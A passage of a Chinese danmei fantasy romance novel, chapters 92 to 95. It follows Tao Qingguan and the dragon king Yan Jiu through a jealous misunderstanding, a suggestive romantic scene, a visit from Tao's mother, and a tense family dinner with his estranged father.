宴氿闷声道:“没有。” “那就好。”陶清观趁着换鞋的空档,抽回手,抬脚向厨房走去,“菜都差不多了,你去洗手吃饭。” 宴氿跟在陶清观身后,完全没有离开的意思,他拦住陶清观的腰,语气酸溜溜的,“我知道,你喜欢那种类型。” 陶清观一头雾水,“我没有,你别胡思乱想,我和她话都没说过几句。” “可你分明在意她。”宴氿控诉道:“每次她过来,你都会出来。” 陶清观语噎,他会出来明明是因为宴氿,怎么到宴氿嘴里,他就变成吃着碗里,看着锅里的渣男。 宴氿脑袋搁在陶清观肩膀上,将陶清观整个人嵌入怀中,“以前看的就算了,以后你不许看,就算喜欢也不行。” 陶清观越发茫然,“等等,你是从哪得出我喜欢那种类型的结论。” “你不用隐瞒,我都知道。”宴氿拉住陶清观的手,放在自己胸口,“你不是喜欢摸吗?摸我的。” 第92章 第 92 章 陶清观:快吐掉 陶清观下意识捏了一下, 反应过来不对,他想收回手,可那手感让他不由自主地又捏一下, 反正是自己的对象, 更何况还是宴氿主动送上门的,捏就捏了。 只不过还没捏几下, 手感就由柔软弹性变得硬邦邦的,陶清观拍拍宴氿,“你这么紧张干嘛。” 宴氿喉结滚动, 指节因为用力微微泛白,呼吸声渐重,他俯下身,贴在陶清观耳侧,嗓音沙哑, “还没摸够?” “是你说让我摸的。”陶清观手指打着圈,一路下滑,才摸到人鱼线边缘, 手就被宴氿一把抓住。 陶清观歪头瞥向宴氿, 对方薄唇紧抿,眼底是不加掩饰的qing欲, 加重的呼吸声暴露宴氿此刻的状态。 确实不能再向下了。 陶清观见势头不妙, 准备收手,可宴氿握得很紧, 甚至在步步迫近, 他向后退去,腰抵在水池边缘,看着欺身压过来的宴氿, 陶清观咽了口唾沫,“干嘛?你要反悔?” 宴氿捏了捏陶清观的手,右腿插进陶清观两腿之间,“不反悔,还想摸哪?” 他将陶清观的手放回自己的胸口,起伏的心跳透过交握的两手传递,宴氿垂下眼眸,唇瓣蹭过陶清观的眼尾,“我能摸摸你吗?” 陶清观此刻是无路可退,他直觉宴氿想摸的东西大概不太正经,舌尖舔过略有些干涩的唇瓣,陶清观用空着的手抚上宴氿的脸颊,“你想摸哪?” 宴氿弯腰,咬在陶清观锁骨处,握着陶清观的手收紧,像是不想放跑到嘴边的猎物。 陶清观偏过头,放仍宴氿的动作,他垂下眼眸,望着宴氿的发顶,抬手摁上去。 他干脆坐到水池边,抬脚踹在宴氿的腰上,拖鞋早已掉落在地,薄薄一层衬衫隔绝不了体温,陶清观脚滑到一旁,踩了一下。 “都这样了,再摸我不是自找苦吃。” 室内温度舒适,但宴氿额角却沁出汗水,他一手撑在水池台上,将脸埋在陶清观颈窝处,近乎贪婪的汲取身下之人的气息。 宴氿蹭了蹭陶清观,哑声道:“据说是有点苦。” 他搂住陶清观,矮下身。 肌肤接触到冰凉的空气,陶清观瞳孔扩散,放在水池边的手攥紧,他咬住下唇,身体绷紧,见宴氿来真的,陶清观不由屏住呼吸,尾音带着一丝颤抖,“喂,我还没洗澡。” 宴氿说不了话,但动作却没丝毫改变。 陶清观眉心紧皱,伸手揪住宴氿的长发,呼吸急促,“你真是……” 莫名其妙的。 暧昧旖旎的气氛在狭小的空间里蔓延,空气随着时间的流逝越发黏稠。 不知过了多久,陶清观缓缓吐出一口气,他推了下宴氿的脑袋,说道:“吐掉,去漱口。” 宴氿直起身,喉结滚动,手背蹭过唇角,眉心微蹙,“比我想象中好点。” 陶清观面上还有尚未完全褪去的潮红,听到这话,他捏住宴氿的脸,“你早有预谋?” “没有。”宴氿矢口否认。 陶清观懒洋洋地扫了宴氿一眼,暂时提不起劲追究,他从水池台下来,刚想去整理一下衣服,忽然闻见一阵糊味。 他顾不上其他,赶忙冲到锅前关火,打开锅盖,靠着锅底的菜全糊了,上面的就算没糊,也会有股糊味。 陶清观瞪向耽搁时间的罪魁祸首,想骂两句,但想到这事他也有责任,又给忍住,最后憋出一句,“你今晚到底受了什么刺激。” 宴氿将没糊的菜往碟子里挑,他似是没听见陶清观的问题,埋头干活。 以陶清观的经验,宴氿这是在闹别扭,陶清观真是丈二和尚,摸不着头脑,他不就和郑妍妮说了两句话,至于吗,明明宴氿自个也和人家说话了。 这事一直到晚上睡觉陶清观都没想明白。 宴氿照常一样,洗完澡来爬床,这次陶清观没赶人,他换的新床是一米八乘两米的,躺两个成年人绰绰有余。 关掉灯,陶清观缩在自己的被窝里,盯着宴氿的后脑勺看,这事像个疙瘩,不弄清楚他心底难受。 陶清观裹着被子挪到宴氿旁边,开口道:“我又不是你肚子里的蛔虫,你不说我怎么知道。” 宴氿是想将这件事就这么揭过,他不想让这种不愉快的话题,影响到他和陶清观之间的关系,可陶清观却又一次提起,宴氿眸色暗沉,短暂地沉默后,还是说了出来,“我看到你的观看历史了。” 陶清观:“啊?” 他一脸茫然,完全搞不明白宴氿在说什么。 宴氿眉眼压得很低,“我知道喜欢的类型是天生的,但……” “停停停。”陶清观打断宴氿,伸手去摸自己的手机,“你想让我看看是怎么个事。” 陶清观打开视频软件,去翻观看历史,他最近没看什么视频,所以历史记录很好翻,看到视频下边一具具白花花的□□,陶清观破案了。 他面色复杂,眼底的情绪更是一言难尽。 死手机,对自己怪好的,还会给自己播放比基尼小视频。 再一看日期,陶清观猜到是怎么回事,估计是那天他点到的链接自动跳转了视频,而他又没关后台,所以手机给自己放了一下午。 也怪他习惯手机静音,完全没有发现,他就说那天电量怎么用的那么快。 弄清楚事情的原委,接下来就是解释,这都什么事。 陶清观组织语言,望着宴氿较真的目光,他叹了口气,“这些不是我看的,你看看时间也不对,那个点我还在上班,哪有时间看这个,估计是误触了。” 宴氿闻言,望向陶清观指的地方,他顿了一下,开口道:“可你对郑妍妮有点不一样。” “我那是……” 陶清观又一次语塞,他用一种看傻子的目光望着宴氿,这龙究竟是真没发现,还是在给他装傻充愣。 他捏了捏鼻根,半是无奈地说道:“那你想我怎么样?” 宴氿一言不发,倏然,他钻进陶清观的被窝里,一把将人搂住,“你以后不要和她单独见面,我感觉她对你有别的意思。” 陶清观嘴角抽搐。 得,是真傻。 陶清观敷衍道:“好,下次肯定叫上你。” 宴氿闷声嗯了一句,紧紧贴着陶清观。 “我也不是想干涉你的社交。”宴氿别扭地找补,“你要是嫌麻烦就算了,我相信你。” 好麻烦一龙。 陶清观手抬起又放下,最终还是没把人推开,他算是发现了,宴氿特别喜欢和他有肢体接触,一旦抱上就不想撒手。 他感觉宴氿有病,字面意义上的那种,具体点,就是皮肤饥渴症。 大概是憋了这么多年,心理变态,陶清观在心底轻啧一声,伸手将被子盖好,宴氿自然也在被子的包裹中。 陶清观勉为其难地让宴氿替代平常他抱着的大白鹅,他靠着宴氿,说道:“以后在胡思乱想之前,你先问我。” “……嗯。” 陶清观手指圈着宴氿的发丝,想想还是觉得该关心一下老龙的心理健康,“你看到玄北会有和对方勾肩搭背的想法吗?” 话题跳跃太快,宴氿思考了一下,老实回答:“不会。” 陶清观接着问道:“那跟其他人呢?” 宴氿误会了,他蹙眉,“我不会出轨,你不用担心。” “我不是这个意思。”陶清观松开宴氿的发丝,“而且和朋友有肢体接触很正常,我不介意这个。” “没有。”宴氿一口否决,他搂着陶清观的腰,将人揽进怀中,“我跟玄北也算不上什么朋友,只是认识的久,而对方又刚好还活着。” 陶清观若有所思,宴氿的表现很矛盾,但仔细想想也能理解,大概是渴望,却又缺乏信任,所以宴氿之前都克制的很好,而他不一样。 或许是契约,又或许是喜欢,宴氿在他面前选择坦然放纵,其实早在宴氿想当他爸爸的那会儿就能发现端倪,那时候宴氿也喜欢对他动手动脚,只是他一直抗拒,宴氿有所收敛。 不过这事算不上严重,也就比较黏人。 陶清观轻拍宴氿的后背,说道:“我困了,睡觉。” 宴氿抿唇,“你忘了一件事。” 陶清观想了一圈,没想起来有什么事忘了,他问道:“什么事?” “晚安吻。” 陶清观:“……” 真是好麻烦一龙。 如愿以偿得到吻,宴氿总算消停。 房间内陷入安静,两人相拥而眠。 …… 第二天。 秋高气爽,阳光灿烂,适合出去走走,不过压着一堆事情的人显然没有这个机会。 陶清观坐在书房里刷题,他转着笔,看着试卷上的题目久久没有动作,手机屏幕亮起又熄灭,陶清观扫过屏幕上的消息,转笔的动作停下。 他放下笔,对一旁坐在沙发上看书的宴氿说道:“晚饭的食材你买了吗?” “还没有。”宴氿合上书,“现在出去买?” “我试卷还没做完。”陶清观低着头,似乎在苦恼,“考试日期快到了,你自己去买,我想吃火锅,还有原关街的炸牛排。” “好。”宴氿语气中带着一丝宠溺,“你倒是会使唤人。” 原关街那家炸牛排生意火爆,长年排着长队,离别墅还有点远,一去一会少不了折腾。 “我到超市跟你打视频。”宴氿开口道:“你看看火锅想吃什么。” 陶清观将空白的试卷翻到下一页,“不用,反正我喜欢吃什么你都知道。” 宴氿见陶清观埋头做题,不想被打扰,便没在多说,抬脚离开房间。 书房的门开了有关,陶清观走到床边,见宴氿离开院子,他才拿起桌上的手机,将电话回拨。 “……喂,妈,你现在过来吗?” 第93章 第 93 章 陶清观:你也要当他的说…… “我在香樟树下边, 现在该往哪边走?”徐婉晴穿着一身水蓝色的长裙,青丝由一支木质发簪挽起,岁月待她优厚, 即使年过四十, 面上也找不到几处皱纹,反而增添一抹成熟的韵味。 “说一下其他标志建筑, 我不认识香樟树长。”陶清观换好鞋,拿起玄关的钥匙,知道徐婉晴方向感不好, 他叮嘱道:“你别乱跑,告诉我在大门哪边就行。” 徐婉晴环顾四周,说道:“在右边。” 根据以往找人的经验,陶清观沉默了一下,“……你发个定位。” 徐婉晴照做。 陶清观一看屏幕上的定位点, 安安稳稳地落在左边,他扯了下唇角,掉头向左边走去。 隔着老远, 陶清观就看到徐婉晴的身影, 他快步走过去,无奈道:“你这是左边。” “啊?”徐婉晴望了眼左右手, 又看了看大门, 她抬起右手,说道:“这不是右边吗?” 面对着大门确实是右边, 但地图上显示的是背对着的。 徐婉晴没纠结一会儿, 就将这是撂倒一边,她上前两手搭上陶清观的肩膀,左望望, 右看看,然后一脸惊讶地说道:“儿子,你长胖了。” 陶清观下意识伸手摸自己的脸,但徐婉晴先一步捏了下他的脸蛋,嘴里念念有词。 “脸上肉都多了不少。”徐婉晴拍拍陶清观的胳膊,说道:“但还是很帅,你以前太瘦,现在刚好。” 陶清观开口道:“那必须的,也不看看我长得像谁。” 徐婉晴被哄笑了,她一手挽着陶清观的手臂,一手拎着纸袋,催促道:“走,让妈妈看看你的新家。” “我来拎。”陶清观伸手接过徐婉晴手中的东西,带着人往家的方向走,感受到手里的份量,他意外,“这么沉,你买了什么。” 徐婉晴数道:“各地的纪念品,还有些特产,明信片,有一款玫瑰红茶味道不错,你可以尝尝。” 她是个闲不住的性子,喜欢世界各地的跑,在陶清观小时候,徐婉晴经常带着陶清观出去玩,等后来陶清观上初中了,她出去的频率才降下来。 陶清观的冰箱上贴满来自各地的冰箱贴,全都是徐婉晴买的。 回到家。 陶清观将东西放下,徐婉晴则在屋内走来走去。 看到房间的布局,徐婉晴眼底浮现淡淡的嫌弃,以她的审美来看,这间屋子的装修风格实在是太乱,徐婉晴委婉地说道。 “这些墙纸,还有花瓶,是你买的吗?” 陶清观扫了一眼,说道:“不是,是原主人留下的,这些看着都是新的,我就没扔。” “我知道几个二手市场,回头我帮你把这些东西带走。”徐婉晴打量着屋内的摆件,忽然她的目光被桌上的马克杯吸引。 两个马克杯,外观很明显是一对,徐婉晴直觉这是情侣款,她不着痕迹地蹙眉,问道:“你和龙王相处得怎么样?” 徐婉晴知道宴氿的存在,陶清观并不意外,大概他是这个家里最晚知道的人,也挺正常,毕竟他之前一点天赋没有,知不知道都一个样。 不过徐婉晴应该也没什么天赋,陶清观对灵的感应能力日益月增,在他的感觉中,徐婉晴体内的灵远达不到成为雨师的标准。 了解到这点后,陶清观更觉得他爸妈能在一起简直是个奇迹,也不知道一个搞艺术的,和一个雨师是怎么好上的。 陶清观在心底幽幽叹气,他妈妈这看人的眼光,实在不怎么样。 “我和他相处的挺好的,不用担心。”陶清观说到这顿了一下,“他跟传言中不一样,你见到他就知道了。” 徐婉晴心底那点异样感愈发明显,“说起来今天是周末,他怎么不在?” “他出去买东西了。”陶清观实话实说,但却省略了开头。 他还没想好怎么跟家里人说自己和宴氿的关系,徐婉晴大概率不会反对,但那个父子俩,他很难说,他已经能想象到陶笠鹤那些老生常谈的话。 更何况…… 爷爷问过他好几次与天赋增长相关的问题,陶笠鹤不需要这些,他情况特殊,其他人也用不上,也就他那个后天残疾的爸能搭上点关系。 估计爷爷已经请宴氿看过,看现在的结果,多半结果不如人意,可能有办法,但实施困难。 要是宴氿和他的关系公开,这件事估计还要再麻烦宴氿。 陶清观思绪纷杂,他在心底长叹一口气,生出一股无奈的情绪,这股情绪是对自己。 他清楚,陶笠鹤也好,陶雨霖也罢,不过是微不足道的一点,是他为自己找的借口,最根本的是,他不想让宴氿卷进他家这些事里,至于原因他也不知道。 只是想到这些事,他本能的抵触。 陶清观敛下眼底的神色,笑着对徐婉晴说:“等过段时间放节假,我就有时间陪你出去玩了。” “那我可得好好挑地方,得找个悠闲点的。”徐婉晴打趣道,“你这么多年没怎么运动,说不定你现在的体力还不如我。” 陶清观一脸菜色,“之前确实有下降,但最近都练回来了,你是不知道我这一两个月跑了多少地方。” “你小时候跟我一个月跑三个国家都没事,还是退步了。”徐婉晴不以为意,她灵机一动,开口道:“要不下次有什么远的任务,我跟你一起去,就当出去旅游。” 陶清观摆摆手,“都说出任务,那我不跟洒水车似的,我走到哪,雨下到哪,根本玩不了。” “也是,你现在也能独当一面了。”徐婉晴美眸流转,“我记得你小时候做过晴天娃娃,每次挂出去都下雨,最后你一气之下把娃娃倒着挂出去,结果雨真停了,果然你小时候就很有天赋。 “不。”陶清观面无表情,“我那是单纯霉逼。” 徐婉晴试图反驳,徐婉晴反驳失败。 她抬手拍拍陶清观的手背,安慰道:“你那是没看天气预报。” 陶清观:“……”谢谢,并没有被安慰到。 徐婉晴咂嘴,惋惜道:“龙王怎么就不在,不然我就能和他聊聊你小时候的事,我听你爷爷说,他可稀罕你了,肯定愿意跟我聊。” 大可不必。 陶清观背后一凉,长辈聊小辈无非就那些,成绩,以及糗事,他小时候皮的要死,糗事自然也是一大堆。 而徐婉晴脾气好,只要不是有危险的事,一般都不会跟他生气,但对方喜欢拍照片,他们家有一整本相册。 写作‘囡囡成长日记’,读做‘囡囡黑历史全集’。 陶清观眼前一黑,不行,他不能让宴氿和他妈碰上。 “这种事有什么好聊的。”陶清观露出虚假的笑容,“对了,你不是说和陈姨她们约了美容院,要我开车送你吗?” 徐婉晴看了眼时间,“呀,都这个点了,都怪飞机晚点。” 她匆匆拿起包,说道:“不用你送,我自己打车去,对了,吃的你别忘记放冰箱,回头我在网上给你买点东西,你记得拿快递。” “我先走了。”徐婉晴走向玄关,开门前,她回过头,说道:“地址我没告诉你爸爸,但他这几天肯定会联系你,你们要不要找个时间见上一面?” 话音落下,原本轻松气氛瞬间凝固。 陶清观唇角绷直,没有回答。 徐婉晴垂下眼帘,“爷爷都将爸爸的事告诉你了吧,他确实有他的难处,这么多年,我们都在体谅他,不过这是因为我是他的妻子,而他待我很好,但你不一样。” “以前我一直以为,即使作为父亲的那一块有所空缺,可只要我多用心一点就能补上,但现在看来还是不行,这些都是他的问题。” 徐婉晴轻声叹气,“见见他吧,你总不可能这辈子都不和他见面,有些事总得见面了才能说开。” 陶清观放在沙发上的手攥紧,指节微微泛白,他声音出奇地平静,“妈,你也要当他的说客吗?” 徐婉晴一怔,“不是……我……” “我知道了。”陶清观打断徐婉晴的话,“我会和他见面,时间你们定。” 徐婉晴张了张嘴,不知道该说什么,她是站在陶清观这边,也想过见面后,和陶清观一起骂陶雨霖一顿,但陶清观的话让她心底生出一丝迷茫。 似乎在她让陶清观与陶雨霖见面的那一刻起,她就站在了与陶清观相反的方向。 “你要是不想见就……” “没关系。”陶清观再一次打断徐婉晴,“就像你说的,我不可能一辈子躲着他。” 徐婉晴哑然,讷讷道:“好。” 门开启又关上。 陶清观在沙发上静静坐了一会儿,然后起身将徐婉晴带来的东西一件一件收好。 徐婉晴带来的吃的,全都是根据他的口味买的,陶清观望着冰箱里堆起来的特产,心底是说不明,道不清的感受。 他合上冰箱门,两手拍在自己脸上。 见一面而已,没什么大不了的,他还能怕陶雨霖不成。 这时,门外传来钥匙转动的声音,宴氿拎着吃的回来,见陶清观在厨房,他打趣道。 “怎么?都饿的翻冰箱了?” 第94章 第 94 章 陶清观:要长一百年!?…… “吃完饭再学。”宴氿将吃的放在餐桌上, 忽然他瞥见茶几上多出一个水杯,宴氿眉心轻蹙,“有谁来过了吗?” “嗯。” 陶清观合上冰箱门, 语气自然, “我妈刚路过,就来看了一眼, 她着急和好闺蜜去美容院,已经走了。” 这话听着很合理,但宴氿心底还是生出一丝异样的感觉, 他压下眼中的情绪,开口道:“说起来,按照你们人类的礼节,我带礼得上门拜访你的长辈,等下个周末, 我们去一趟?” 陶清观诶了一声,冲宴氿不怀好意地笑着,“你确定吗?到时候你可得跟着我一起喊人, 我爷爷你也得叫爷爷。” 宴氿眉尖上挑, “只要陶笠鹤敢应,我是无所谓。” “你可算了吧。”陶清观解开宴氿带回来的炸牛排, 用竹签扎了一块放进嘴里, 刚买回来的,还是温热, 口齿留香, 排个把小时队也是值了。 美食总能治愈不愉快,陶清观眯起眼眸,倚在宴氿身上, 说道:“再等等,不着急,我爷爷年纪大了,你总得给他一个循序渐进的时间,把人吓出心脏病来就不好了。” 心脏病,陶笠鹤? 宴氿嘴角抽搐,这就是睁着眼睛说瞎话,以陶笠鹤的身体状况,谁吓倒了,他也不可能倒。 陶清观咂嘴,回头想想也觉得这个借口有些离谱,他拍了下宴氿的胳膊,说道:“你也知道他念叨人的本事。你得给我个缓冲的时间。” “不想说?”宴氿反握住陶清观的手,“我有这么见不得人吗?” 陶清观抽了下手没抽动,他偏过头,对上宴氿的目光,那是一双沉静的眼眸,似乎看透一切,却又温柔包容。 浮躁的心渐渐安定。 陶清观转身扑进宴氿怀里,用力蹭了两下,“怎么可能,你放心,丑媳妇难免见公婆,我肯定会让你去见他们的。” 宴氿稳稳接住陶清观,陶清观撒娇似得亲昵,让他很是受用,他勾起唇角,揉了揉陶清观的脑袋,“好。” 陶清观跟宴氿腻歪了会儿,便起来收拾东西准备吃饭。 宴氿从厨房拿出碗筷,见陶清观清洗茶具,他不经意间问道:“你父亲没来吗?” 小孩和陶雨霖关系不好,这点他是知道的,但小孩其他家人似乎都希望能修复这段关系,家和万事兴,确实是绝大数人类的追求。 “没来。”陶清观语气中是毫不掩饰地嫌弃,“我才不想他来。” 宴氿轻笑,“嗯,讨厌的人不来也罢。” 陶清观哼了一声,端着盛好饭的碗,转身走向餐厅。 宴氿紧随其后,他将筷子放到陶清观手边,叮嘱道:“如果陶笠鹤有跟你说些有的没的,你不乐意听,就来告诉我。” 陶清观眨眨眼,“这算告家长吗?” 宴氿对家长这两个字有点ptsd,他强调道:“是家属。” 陶清观哈哈笑出声,他不以为意地摆摆手,“没事的,我都这么大了,他们能拿我怎么样。” 宴氿斜睨陶清观,重复问道:“没事吗?” 陶清观信誓旦旦:“没事。” 没事的。 ………… 自从徐婉晴回来后,和陶清观的联系就变得频繁起来,知道陶清观忙,徐婉晴便挑着陶清观下班的点,接人出来吃晚饭。 陶清观时不时就能收到徐婉晴买来的包裹,不得不说,徐婉晴的眼光确实好,将家里几个摆件换掉,看过去的感觉都不一样了。 而且徐婉晴很有分寸,会挑上好几个款式,让陶清观自己选喜欢的,有干涉,却不会干涉太多。 又一天跟徐婉晴吃完饭回来,陶清观走过玄关,看见宴氿正坐在沙发上看书。 对方正常看书的地方是在书房,也就等他时会挪到客厅。 陶清观看了眼墙上的挂钟,刚过七点,他今天回来的还挺早。 他将打包的小食放在茶几上,对宴氿道:“尝尝,我感觉你会喜欢,那个餐馆味道不错,下次有空,我们可以去试试。” 宴氿没有动作,他静静地将手上的那页看完,然后放下书,开口道:“明天下班,我去接你。” “不用。”陶清观脱下外套,挂在衣帽架上,“明天我妈估计还会来。” “她喜欢拉着我逛街,你来可就得当拎包小弟了。” 宴氿声音平静,“无妨。” 陶清观整理衣服的动作顿了一下,他面上挂起无奈地笑容,调侃道:“你这么着急?” “嗯。”宴氿左右交叠着修长的双腿,半靠着沙发,用那张高冷的脸,说着卑微的话,“我怕你不给我名分。” 陶清观双手抱臂,哼哼两声,“那你还不快讨好我,洗澡水放了吗?我想泡澡。” 宴氿瞥了陶清观一眼,不疾不徐地起身,淡淡道:“这话你前两天就说过了。” 陶清观身子一僵,他刚想开口,宴氿又接着道。 “水没放,不过今天拆包裹的时候,拆到一包沐浴球,应该是你妈妈寄来的,你可以哪一个试试。”宴氿抬脚走上楼梯,“我现在去给你放水。” “……哦。” 陶清观抬着的手缓缓垂下,他抿起唇,眸光微闪。 宴氿好像有点不开心。 …… 陶清观心底惦记着这件事,晚上睡觉时,他咕噜咕噜滚到宴氿身旁,宴氿正坐着,他就将脑袋搁在宴氿腿上。 “好久没问了,你鳞片的事怎么样?” 宴氿一垂眸,就能看到陶清观毛茸茸的脑袋,他唇角下压,抬手抚上陶清观的发顶,开口道:“除了逆鳞基本都找到了,逆鳞应该在那个副会长手里。” 陶清观歪过脑袋,伸手按在宴氿胸口处,“逆鳞是长在这里吗?” “不是。”宴氿握住陶清观的手,放到自己下颌处,靠近脖子的地方。“是在这里。” 陶清观下意识轻轻按了一下,感觉到指腹下喉结滚动的幅度,他手指蜷缩起,陶清观收回手,转了个身,面对着宴氿。 而宴氿的目光始终落在陶清观身上。 陶清观缩回的手抵着下巴,问道:“要多久才能长回来?” “每次换鳞,逆鳞并不会换,我也不清楚。”宴氿指尖压着被陶清观按过的地方,“参考换鳞的时间,可能需要百来年。” 听到这话,陶清观眼睛睁大,“百来年?” “嗯。”宴氿觉得好玩,伸手捏了捏陶清观的脸蛋,“逆鳞没有你们人类传得那么玄乎,虽然是有些特别,但即使没有,对我也没什么影响。” 陶清观沉浸在百来年的震惊中,他郑重其事地握住宴氿的手,说道:“你一定要好好保护你的鳞片,别再拔给我了。” 掉一片长一百年,宴氿之前拔给他的量可不少,上次天黑他没注意看,宴氿龙形不会已经斑秃了吧。 陶清观‘虎躯’一震,看宴氿的眼神带上一点同情。 宴氿不用猜都知道陶清观在想什么,他弹了下陶清观的脑门,没好气道:“普通鳞片十天半个月就长回来了。” 陶清观捂着脑袋滚到一旁,谴责道:“说话就说话,你怎么还动手。” “我根本没用劲。”宴氿伸手将陶清观捞回来,干脆抱着人一起躺下。 宴氿搂着陶清观的腰,翻了个身,让陶清观压在自己身上,两颗心紧紧相贴,耳边似乎能听见两种不同的心跳声。 他轻吻陶清观的发顶,低声道:“问题我都回答了,你有什么想对我说的吗?” 陶清观脑袋埋在宴氿胸口,他搓着宴氿睡衣上的纽扣,声音闷闷的,“抱歉,这段时间没怎么陪你。” “不过我妈稀罕不了我几天。”陶清观拍着宴氿的胸脯,保证道:“用不了多久,她就不会这么频繁地跑来找我了。” 宴氿不语,沉默地望着陶清观的眼睛,他知道陶清观说的是实话,但这实话之下又掩盖许多。 他移开目光,说道:“嗯,睡觉吧。” “你先睡,我睡前复习一下。”陶清观从宴氿身上滚下来,拿起床头柜上的书。 陶清观坐起身,翻开手中的书,床头暖黄色的灯光打在他的身上,在书页上留下阴影。 宴氿躺在陶清观身旁,余光扫过陶清观的侧颜,对方看似认真,但他却注意到陶清观在走神,对方这些天都是这样,频繁走神,和他说话时偶尔也会心不在焉。 他敛下眼眸,抬手抽走陶清观手中的书,放到一旁,开口道:“明天还要上班,早点睡。” “好吧。” 陶清观妥协,关掉床头灯,跟宴氿一起躺下。 黑暗中,时间的流逝变得缓慢。 在陶清观快睡着时,宴氿忽然开口。 “和家人吵架了?” 陶清观闭上的眼睛睁开,他钻进宴氿怀里,隔着衣服蹭了蹭,“没有。” 宴氿放任陶清观的动作,他有一搭没一搭地轻拍陶清观的后背,放低嗓音,“明天让我去接你,好不好?” 陶清观揪着宴氿胸前的衣服,依旧是拒绝,“不用,我答应你,明天我肯定早点回来,最迟六点半,我绝对到家。” 他拍拍宴氿的胸膛,装模作样地叹气,“你真粘人。” 宴氿不再言语,他不置可否地嗯了一声,在黑暗中合上眼。 卧室内又一次陷入安静。 陶清观窝在宴氿怀里,睡意全无,明天他和徐婉晴越好与陶雨霖见面,跟陶雨霖他没什么好说的,半个小时绰绰有余。 加上在路上耽搁的时间,六点多应该就能回来。 或许他可以顺路给宴氿买点小礼物,算是补偿。 等乱七八糟的事情都处理完,就带宴氿去见妈妈,陶清观闭上眼。 他能处理好,很快。 第95章 第 95 章 陶清观:就像个笑话 “今天你妈妈也来接你?” 陆满满背着包跟陶清观往医院门口走, 看到停车场上熟悉的车子,他感慨道:“真羡慕,阿姨这么稀罕你, 我妈现在是看到我就烦, 聊三句就得有一句催婚,天天跟我念叨, 谁谁谁家二字成亲,谁谁谁家又抱上孙子孙女,” “没办法, 天生受长辈喜欢。”陶清观耸肩,开口道:“你该好好反思一下。” 陆满满翻了个白眼,“给你点阳光,你就灿烂,你当自己是向日葵呢。” “跟你们这种有对象的没话讲。”陆满满啧啧两声, “对了,你跟家里人出柜没有?” 不待陶清观回答,他又自问自答道:“能养出你这种性格, 你家估计想得也蛮开的, 用不着我操心,要是办婚宴, 你可别忘记我。” “放心。”陶清观满口答应, “忘记谁也不可能忘记你。” 陆满满意味深长地哦了一声,“果然是见过家长了。” 陶清观不置可否地哼哼两声。 陆满满看到陶清观这幅宛如人生赢家的模样就手痒, 他冲陶清观摆摆手, 开始赶人,“阿姨等你半天了,还不赶紧过去。” “嘁。”陶清观抬脚向车的方向走去。 陆满满忽然想起什么, 开口道:“记得帮我向阿姨问好,她上次带的特产很好吃。” 陶清观回过头,“嗯,还有什么事吗?” “没了。”陆满满说道:“你们玩得开心。” “好。” 陶清观背着身,向陆满满挥了挥手,大步走到车子前,他打开门,坐进副驾驶,刚坐下,面前就多出一杯奶茶。 “茶沏家新品,尝尝。”徐婉晴将奶茶放到陶清观手边,问道:“刚和小陆聊什么呢,笑那么开心。” 陶清观拆开吸管的包装纸,将吸管插进去,喝了一口奶茶后,他回答道:“他说你上次带的特产很好吃,让我谢谢你,还有他被家里催婚生孩子。” “喜欢,下次我再给他带点。”徐婉晴听到后边的话,露出陶清观同款笑容,幸灾乐祸道:“被催婚,那是挺惨的。” 提到这个话题,她不可避免想到自家儿子,徐婉晴瞥向陶清观,旁敲侧击道:“你呢?一点动静没有?我给你生的这张帅脸,毫无用武之地。” 陶清观敛下眼眸,他张开嘴,像是想说什么,但最终还是没有开口,他望向车窗外,岔开话题,“还不走吗?爸爸不是在等我们。” 徐婉晴只当陶清观是在害羞,她装模作样地叹了口气,一边发动汽车,一边说道:“你小时候还会给妈妈介绍班上的同学,现在年纪大了,是什么都不喜欢跟妈妈讲了。” 陶清观不接茬,他一手拖着下巴,脑袋抵在车窗边,眼底倒映着路过的风景,“餐厅离别墅远吗?我跟宴氿说了,六点半之前回家。” 徐婉晴面上的笑意淡去,她短暂地沉默了片刻,说道:“这次爸爸来,是给你道歉的,你有什么想法也可以提出来。” “嗯。” 陶清观神色淡淡,他不想让徐婉晴为难,可又不想在这个话题上多聊,只好用沉默的态度来表达抗拒。 见陶清观这样,徐婉晴眼底浮现几分担忧。 她开始怀疑,让这两人见面真的是正确的选择吗? 一路相顾无言,到达餐馆后,徐婉晴带着陶清观往包厢走,路上她与陶清观搭话。 “菜我看着点了些,你等会看看菜单,有喜欢的再点。” 陶清观开口道:“我们两口味差不多,点多了吃不掉。” 得到陶清观的回答,徐婉晴微微松了口气,他们两有一搭没一搭地聊着,走到包厢前,徐婉晴抬手打开门。 陶雨霖早早坐在包厢里等待,看见徐婉晴来了,他上前接过徐婉晴手中的包,按下一旁的服务铃,通知服务员走菜。 陶清观扫了一眼,包厢不算大,中央放了张长方形的桌子,桌子旁摆着四张板凳,他挑着陶雨霖对面的位置坐下,毫无感情地喊了声,“爸。” 徐婉晴推着陶雨霖去座位上,面上笑道:“先吃饭,囡囡上了一天班也该饿了。” 陶雨霖唇瓣抿动,默不作声地坐回去。 “餐具给我,我烫一下。”徐婉晴坐到陶雨霖身旁,伸手拿起桌上的水壶。 陶清观将碗筷递过去,继续维持自己的寡言人设,看都不看陶雨霖一眼。 一时间,包厢内的气氛有些微妙的尴尬,徐婉晴试图挑起话题,可没聊两句就进行不下去。 倒不是陶清观和陶雨霖不配合,相反这两人都有问必答,陶雨霖还好,陶清观里里外外都透着被迫营业的味,回答中带着明显的心不在焉。 这份场景似曾相识,不知何时起,他们一家人一起吃饭就会变成眼前的局面,徐婉晴哑然。 陶雨霖感觉到自己的衣摆被拽住,偏过头,瞥见徐婉晴在使眼色,他顿了一下。 想到徐婉晴多次叮嘱,陶雨霖开口道:“以前是爸爸不对,不该只关注凌霄,而忽略你的感受,以后我会注意。” 语气公事公办,若不是有‘爸爸’这两个字眼,听着更像是公司的上下级在交流。 陶清观面上古井无波,“嗯。” 他的反应太过冷淡,让徐婉晴有一丝不安,她拱了陶雨霖一下,示意对方再多说两句。 陶雨霖会意,眉心微不可见地皱起,开口道:“你也知道,我对你大伯有愧,所以多照顾了凌霄,当年若不是你大伯退让牺牲,我们家也不会有现在的生活。” “这么多年我可没见过大伯和我们家有什么走动,硬要说帮,也是爷爷。”陶清观扯着出一个不成样的笑容,他眼底不见丝毫笑意,冷声道:“如果陶凌霄跟以前的我一样是个废物,你还会照顾他吗?” “当然会。”陶雨霖眉心拧成一个川字,“你怎么会这么想,之前没有天赋,我也不曾多说过什么,我可能确实对你有所忽略,但你不能因此完全否定我,我也是关心你的。” 